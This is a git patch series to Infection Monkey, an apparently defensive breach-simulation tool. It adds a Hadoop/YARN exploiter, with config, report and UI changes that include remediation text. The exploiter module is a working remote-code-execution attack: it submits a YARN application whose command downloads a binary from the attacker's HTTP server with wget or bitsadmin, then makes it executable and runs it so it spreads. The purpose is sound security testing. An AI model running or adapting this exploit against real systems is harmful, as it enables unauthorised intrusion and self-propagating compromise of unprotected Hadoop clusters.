From 5674bebfa67610a0f1eab75d45ffafb2ce28d1cd Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 30 Jul 2018 17:48:15 +0300 Subject: [PATCH 1/9] Core code written but nothing tested --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/hadoop.py | 95 +++++++++++++++++++ monkey_island/cc/services/config.py | 10 +- monkey_island/cc/services/report.py | 17 +++- .../cc/ui/src/components/pages/ReportPage.js | 24 ++++- 7 files changed, 146 insertions(+), 8 deletions(-) create mode 100644 infection_monkey/exploit/hadoop.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f8094817c..95a6e9605 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1d6d4f0e9..e4ed17b8f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -38,7 +38,8 @@ "ElasticGroovyExploiter", "SambaCryExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 346f6276b..d4456d20e 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter from weblogic import WebLogicExploiter +from hadoop import HadoopExploiter diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py new file mode 100644 index 000000000..3490a3129 --- /dev/null +++ b/infection_monkey/exploit/hadoop.py @@ -0,0 +1,95 @@ +""" + Remote code execution on HADOOP server with YARN and default settings + Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn +""" + +import requests +import json +import random +import string +import logging +from exploit.web_rce import WebRCE +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +import posixpath +from threading import Lock +from model import DROPPER_ARG + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +class HadoopExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + HADOOP_PORTS = ["8088"] + LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ + "&& chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + + LOCK = Lock() + + def __init__(self, host): + super(HadoopExploiter, self).__init__(host) + + def exploit_host(self): + # Try to get exploitable url + exploitable_url = False + urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + for url in urls: + if self.try_exploit(url): + exploitable_url = url + break + if not exploitable_url: + LOG.info("No exploitable Hadoop server found") + return False + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(self._config, src_path) + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + self.LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) + self.LOCK.acquire() + self.exploit(url, command) + + def exploit(self, url, command): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = json.loads(resp.content) + app_id = resp['application-id'] + # Create a random name for our application in YARN + rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + payload = { + "application-id": app_id, + "application-name": rand_name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + + def try_exploit(self, url): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + if resp.status_code == 200: + return True + else: + return False \ No newline at end of file diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 16c7502f1..662b58b6d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -93,6 +93,13 @@ SCHEMA = { "WebLogicExploiter" ], "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" } ] }, @@ -634,7 +641,8 @@ SCHEMA = { "SambaCryExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f8647e81e..c3eaf4ed2 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -31,7 +31,8 @@ class ReportService: 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter', - 'WebLogicExploiter': 'Oracle WebLogic exploiter' + 'WebLogicExploiter': 'Oracle WebLogic Exploiter', + 'HadoopExploiter': 'Hadoop/Yarn Exploiter' } class ISSUES_DICT(Enum): @@ -44,7 +45,8 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 - WEBLOGIC = 9 + WEBLOGIC = 9, + HADOOP = 10 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -306,6 +308,12 @@ class ReportService: processed_exploit['type'] = 'weblogic' return processed_exploit + @staticmethod + def process_hadoop_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'hadoop' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -319,7 +327,8 @@ class ReportService: 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit, - 'WebLogicExploiter': ReportService.process_weblogic_exploit + 'WebLogicExploiter': ReportService.process_weblogic_exploit, + 'HadoopExploiter': ReportService.process_hadoop_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -441,6 +450,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'] == 'weblogic': issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True + elif issue['type'] == 'hadoop': + issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index ac796af61..198cf021c 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -25,7 +25,8 @@ class ReportPageComponent extends AuthComponent { AZURE: 6, STOLEN_SSH_KEYS: 7, STRUTS2: 8, - WEBLOGIC: 9 + WEBLOGIC: 9, + HADOOP: 10 }; Warning = @@ -331,6 +332,8 @@ class ReportPageComponent extends AuthComponent {
  • Oracle WebLogic servers are vulnerable to remote code execution. ( CVE-2017-10271)
  • : null } + {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? +
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } : @@ -716,6 +719,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateHadoopIssue(issue) { + return ( +
  • + Run Hadoop in secure mode( + add Kerberos authentication). + + Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to default Hadoop/Yarn configuration being insecure. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -769,6 +788,9 @@ class ReportPageComponent extends AuthComponent { case 'weblogic': data = this.generateWebLogicIssue(issue); break; + case 'hadoop': + data = this.generateHadoopIssue(issue); + break; } return data; }; From c7952dcbc547dd7a943580458f96779d2eb17aee Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 31 Jul 2018 18:05:51 +0300 Subject: [PATCH 2/9] Fixed reporting and upploading bugs --- infection_monkey/exploit/hadoop.py | 55 +++++++++++++------ infection_monkey/network/mssql_fingerprint.py | 3 +- .../cc/ui/src/components/pages/ReportPage.js | 4 +- 3 files changed, 41 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 3490a3129..805f0f602 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -12,7 +12,7 @@ from exploit.web_rce import WebRCE from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath from threading import Lock -from model import DROPPER_ARG +from model import DROPPER_ARG, DOWNLOAD_TIMEOUT __author__ = 'VakarisZ' @@ -20,13 +20,17 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] - HADOOP_PORTS = ["8088"] - LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ - "&& chmod +x %(monkey_path)s " \ + # TODO add more hadoop ports + HADOOP_PORTS = [["8088", False]] + + # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes + # to download monkey at the same time + LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - LOCK = Lock() def __init__(self, host): @@ -47,25 +51,33 @@ class HadoopExploiter(WebRCE): if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - # Determine which destination path to use + # Determine where to save monkey on the target LOG.debug("Monkey path found") path = WebRCE.get_monkey_dest_path(self._config, src_path) - # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) - if 'linux' in self.host.os['type']: - command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - else: - command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - if not path: - return False # To avoid race conditions we pass a locked lock to http servers thread self.LOCK.acquire() # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) self.LOCK.acquire() - self.exploit(url, command) + + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path} + if not path: + return False + + if not self.exploit(url, command): + return False + self.LOCK.release() + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + return True def exploit(self, url, command): # Get the newly created application id @@ -85,10 +97,17 @@ class HadoopExploiter(WebRCE): "application-type": "YARN" } resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + if resp.status_code == 202: + return True + else: + return False def try_exploit(self, url): # Get the newly created application id - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + try: + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + except requests.ConnectionError: + return False if resp.status_code == 200: return True else: diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..ea4370d24 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,8 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + # TODO remove auto-return + return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 198cf021c..cd417d47a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -332,7 +332,7 @@ class ReportPageComponent extends AuthComponent {
  • Oracle WebLogic servers are vulnerable to remote code execution. ( CVE-2017-10271)
  • : null } - {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? + {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } @@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent { generateHadoopIssue(issue) { return (
  • - Run Hadoop in secure mode( + Run Hadoop in secure mode( add Kerberos authentication). Oracle WebLogic server at {issue.machine} ( Date: Fri, 3 Aug 2018 18:28:02 +0300 Subject: [PATCH 3/9] Final tests, windows command changed --- infection_monkey/exploit/hadoop.py | 24 +++++++++++++----------- infection_monkey/transport/http.py | 2 +- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 805f0f602..a5839697f 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -12,15 +12,15 @@ from exploit.web_rce import WebRCE from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath from threading import Lock -from model import DROPPER_ARG, DOWNLOAD_TIMEOUT +from model import MONKEY_ARG __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] - # TODO add more hadoop ports HADOOP_PORTS = [["8088", False]] # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes @@ -29,8 +29,10 @@ class HadoopExploiter(WebRCE): "&& wget -O %(monkey_path)s %(http_path)s " \ "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ + " Update /download /priority high %(http_path)s %(monkey_path)s " \ + "& %(monkey_path)s %(monkey_type)s %(parameters)s" + DOWNLOAD_TIMEOUT = 90 LOCK = Lock() def __init__(self, host): @@ -64,18 +66,17 @@ class HadoopExploiter(WebRCE): monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) if 'linux' in self.host.os['type']: command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} else: command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} - # command = "! [ -f %(monkey_path)s ] wget -O %(monkey_path)s %(http_path)s" % {"monkey_path": path, "http_path": http_path} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} if not path: return False - if not self.exploit(url, command): + if not self.exploit(exploitable_url, command): return False self.LOCK.release() - http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -102,7 +103,8 @@ class HadoopExploiter(WebRCE): else: return False - def try_exploit(self, url): + @staticmethod + def try_exploit(url): # Get the newly created application id try: resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) @@ -111,4 +113,4 @@ class HadoopExploiter(WebRCE): if resp.status_code == 200: return True else: - return False \ No newline at end of file + return False diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index b65fda4e9..cae4842d0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -179,7 +179,7 @@ class HTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=60): + def stop(self, timeout=5): self._stopped = True self.join(timeout) From 504281dbcb9fb38186133263643395a12af6e7e7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 4 Aug 2018 13:04:30 +0300 Subject: [PATCH 4/9] quick-fix --- infection_monkey/network/mssql_fingerprint.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ea4370d24..f973f3d87 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,8 +29,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - # TODO remove auto-return - return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 02c27584da6cc82eb4a4fc96ffd66837b2b44c76 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sun, 26 Aug 2018 14:13:28 +0300 Subject: [PATCH 5/9] Refactored according to latest web_rce framework changes --- infection_monkey/exploit/hadoop.py | 55 +++++++++++++++++------------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index a5839697f..1065e7aec 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -9,7 +9,7 @@ import random import string import logging from exploit.web_rce import WebRCE -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path import posixpath from threading import Lock from model import MONKEY_ARG @@ -32,8 +32,8 @@ class HadoopExploiter(WebRCE): WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" + # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 90 - LOCK = Lock() def __init__(self, host): super(HadoopExploiter, self).__init__(host) @@ -41,7 +41,7 @@ class HadoopExploiter(WebRCE): def exploit_host(self): # Try to get exploitable url exploitable_url = False - urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + urls = self.build_potential_urls(self.host, self.HADOOP_PORTS) for url in urls: if self.try_exploit(url): exploitable_url = url @@ -55,27 +55,29 @@ class HadoopExploiter(WebRCE): return False # Determine where to save monkey on the target LOG.debug("Monkey path found") - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) + if not path: + return False # To avoid race conditions we pass a locked lock to http servers thread - self.LOCK.acquire() + lock = Lock() + lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) - self.LOCK.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock) + lock.acquire() # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) if 'linux' in self.host.os['type']: - command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} + base_command = self.LINUX_COMMAND else: - command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} - if not path: - return False + base_command = self.WINDOWS_COMMAND + + command = base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} if not self.exploit(exploitable_url, command): return False - self.LOCK.release() + lock.release() http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -87,16 +89,7 @@ class HadoopExploiter(WebRCE): app_id = resp['application-id'] # Create a random name for our application in YARN rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) - payload = { - "application-id": app_id, - "application-name": rand_name, - "am-container-spec": { - "commands": { - "command": command, - } - }, - "application-type": "YARN" - } + payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) if resp.status_code == 202: return True @@ -114,3 +107,17 @@ class HadoopExploiter(WebRCE): return True else: return False + + @staticmethod + def build_payload(app_id, name, command): + payload = { + "application-id": app_id, + "application-name": name, + "am-container-spec": { + "commands": { + "command": command, + } + }, + "application-type": "YARN" + } + return payload From 568320c298191f3a3c7c0c633cd3e756695810d0 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 16:05:41 +0300 Subject: [PATCH 6/9] Refactored, notes fixed but file server still timeouts --- infection_monkey/exploit/hadoop.py | 80 +++++++++++------------------- 1 file changed, 30 insertions(+), 50 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 1065e7aec..95a074f55 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -9,10 +9,9 @@ import random import string import logging from exploit.web_rce import WebRCE -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path +from tools import HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath -from threading import Lock -from model import MONKEY_ARG +from model import MONKEY_ARG, ID_STRING, DROPPER_ARG __author__ = 'VakarisZ' @@ -34,50 +33,27 @@ class HadoopExploiter(WebRCE): "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 90 + # Random string's length that's used for creating unique app name + RAN_STR_LEN = 6 def __init__(self, host): - super(HadoopExploiter, self).__init__(host) + super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh', + 'win32': '%temp%\\monkey32.exe', + 'win64': '%temp%\\monkey64.exe'}) def exploit_host(self): # Try to get exploitable url - exploitable_url = False - urls = self.build_potential_urls(self.host, self.HADOOP_PORTS) - for url in urls: - if self.try_exploit(url): - exploitable_url = url - break - if not exploitable_url: - LOG.info("No exploitable Hadoop server found") + urls = self.build_potential_urls(self.HADOOP_PORTS) + self.add_vulnerable_urls(urls, True) + if not self.vulnerable_urls: return False - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) + paths = self.get_monkey_paths() + if not paths: return False - # Determine where to save monkey on the target - LOG.debug("Monkey path found") - path = get_monkey_dest_path(src_path) - if not path: + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + command = self.build_command(paths['dest_path'], http_path) + if not self.exploit(self.vulnerable_urls[0], command): return False - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock) - lock.acquire() - - # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) - if 'linux' in self.host.os['type']: - base_command = self.LINUX_COMMAND - else: - base_command = self.WINDOWS_COMMAND - - command = base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} - - if not self.exploit(exploitable_url, command): - return False - lock.release() http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return True @@ -88,25 +64,29 @@ class HadoopExploiter(WebRCE): resp = json.loads(resp.content) app_id = resp['application-id'] # Create a random name for our application in YARN - rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)]) + rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)]) payload = self.build_payload(app_id, rand_name, command) resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) - if resp.status_code == 202: - return True - else: - return False + return resp.status_code == 202 - @staticmethod - def try_exploit(url): - # Get the newly created application id + def check_if_exploitable(self, url): try: resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) except requests.ConnectionError: return False - if resp.status_code == 200: - return True + return resp.status_code == 200 + + def build_command(self, path, http_path): + default_path = self.get_default_dropper_path() + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + if 'linux' in self.host.os['type']: + base_command = self.LINUX_COMMAND else: - return False + base_command = self.WINDOWS_COMMAND + + return base_command % {"monkey_path": path, "http_path": http_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} @staticmethod def build_payload(app_id, name, command): From 818aae3a2ce7cbc4deefc18c1c5d1e75aafa840b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 19:33:36 +0300 Subject: [PATCH 7/9] Hadoop exploitation tested on windows and linux --- infection_monkey/exploit/hadoop.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py index 95a074f55..c41badd52 100644 --- a/infection_monkey/exploit/hadoop.py +++ b/infection_monkey/exploit/hadoop.py @@ -11,7 +11,7 @@ import logging from exploit.web_rce import WebRCE from tools import HTTPTools, build_monkey_commandline, get_monkey_depth import posixpath -from model import MONKEY_ARG, ID_STRING, DROPPER_ARG +from model import MONKEY_ARG, ID_STRING __author__ = 'VakarisZ' @@ -32,14 +32,12 @@ class HadoopExploiter(WebRCE): " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds - DOWNLOAD_TIMEOUT = 90 + DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 def __init__(self, host): - super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh', - 'win32': '%temp%\\monkey32.exe', - 'win64': '%temp%\\monkey64.exe'}) + super(HadoopExploiter, self).__init__(host) def exploit_host(self): # Try to get exploitable url @@ -77,16 +75,15 @@ class HadoopExploiter(WebRCE): return resp.status_code == 200 def build_command(self, path, http_path): - default_path = self.get_default_dropper_path() # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if 'linux' in self.host.os['type']: base_command = self.LINUX_COMMAND else: base_command = self.WINDOWS_COMMAND return base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} @staticmethod def build_payload(app_id, name, command): From 49904d0cb08b571dfe37f8a3f7741ea343ce06b2 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 28 Aug 2018 20:53:40 +0300 Subject: [PATCH 8/9] Undone server's closing timeout, even though I think 60 is too much --- infection_monkey/transport/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index cae4842d0..b65fda4e9 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -179,7 +179,7 @@ class HTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=60): self._stopped = True self.join(timeout) From c8e131d9138decf24f8e5831df6299e5d022256f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 30 Aug 2018 14:20:52 +0300 Subject: [PATCH 9/9] Added a space before bracket in report --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cd417d47a..f7220d3ec 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -722,7 +722,7 @@ class ReportPageComponent extends AuthComponent { generateHadoopIssue(issue) { return (
  • - Run Hadoop in secure mode( + Run Hadoop in secure mode ( add Kerberos authentication). Oracle WebLogic server at {issue.machine} (